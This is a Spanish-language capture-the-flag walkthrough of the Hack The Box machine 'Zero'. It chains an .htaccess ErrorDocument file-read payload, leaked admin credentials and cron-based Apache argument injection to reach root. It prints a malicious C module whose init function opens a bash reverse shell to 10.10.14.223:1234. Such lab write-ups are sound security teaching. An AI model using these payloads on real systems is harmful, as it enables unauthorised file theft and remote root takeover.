Mission: Zero

// CLASSIFIED OPERATION REPORT //

Mission: Zero

HTB INSANE September 22, 2020
#HTB#Apache#SFTP#Privilege Escalation#Linux
Performed in authorized environments. Educational purposes only.

🎯 Mission Briefing

Objetivo: Comprometer el servidor “Zero” (Insane), abusando de configuraciones exóticas de Apache y escalando privilegios mediante manipulación de procesos.

El vector principal implica el abuso de un servidor web Apache compartido, utilizando .htaccess para lectura de archivos (LFI) y posteriormente inyectando módulos maliciosos en la configuración de Apache para obtener ejecución de comandos como root.


🕵️ Phase 1: Intelligence Gathering

Scan de Puertos

El reconocimiento inicial revela un servidor web Apache y un servicio SSH.

$ nmap -p 22,80 -sCV 10.129.234.62
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Enumeración Web

El sitio web permite a los usuarios registrarse y obtener credenciales SFTP para alojar contenido estático.

  • Formulario de Registro: /signup.php -> Entrega credenciales (zro-db5ad130:cbc6427b).
  • Acceso SFTP: Confirmado acceso al directorio public_html.

⚔️ Phase 2: Infiltration (LFI & Enumeration)

Abuso de .htaccess

Aunque la ejecución de PHP está deshabilitada, el servidor permite configuraciones .htaccess. Abusamos de la directiva ErrorDocument para exfiltrar contenido de archivos locales cuando se genera un error 404.

Payload (.htaccess):

Header always set X-Zero-Customer 'zro-db5ad130'
ErrorDocument 404 %{file:/etc/passwd}

Al acceder a un recurso inexistente, el servidor nos devuelve el contenido de /etc/passwd. Automatizamos este proceso con un script en Python para enumerar el sistema de archivos completo.

Hallazgos Críticos:

  1. Credenciales de Admin: En stats.php, encontramos zroadmin:correct-horse-battery-staple.
  2. Configuración Apache: Se identifican scripts de mantenimiento ejecutados por root.

🚀 Phase 3: Privilege Escalation

Utilizando las credenciales de zroadmin, accedemos vía SSH. Analizando los procesos con pspy, detectamos un cronjob que ejecuta /usr/local/bin/zro.web-confcheck cada minuto.

Vulnerabilidad: Argument Injection en Apache

El script de verificación utiliza apache2ctl de forma insegura, permitiendo que un atacante inyecte argumentos adicionales si logra falsificar el nombre del proceso que el script está monitoreando.

Estrategia de Explotación:

  1. Falsificación de Proceso: Utilizamos Perl para renombrar nuestro proceso a uno que coincida con el patrón esperado por el cronjob.
  2. Inyección de Módulo Malicioso: Creamos una configuración de Apache falsa que carga un módulo compartido (.so) compilado por nosotros.
  3. Ejecución: Cuando el cronjob valida nuestra configuración “falsa”, Apache carga nuestro módulo como root.

Modulo Malicioso (C):

static void myinit() {
    system("bash -c 'bash -i >& /dev/tcp/10.10.14.223/1234 0>&1'");
}

Tras compilar y preparar el entorno, recibimos una shell con privilegios máximos.

root@zero:/# id
uid=0(root) gid=0(root) groups=0(root)

🏆 Mission Debrief

Zero demuestra cómo “funcionalidades” avanzadas de servidores web (como .htaccess) y scripts de mantenimiento mal diseñados pueden encadenarse para comprometer totalmente un sistema.

Estado de la Misión: COMPLETADA Nivel de Acceso: ROOT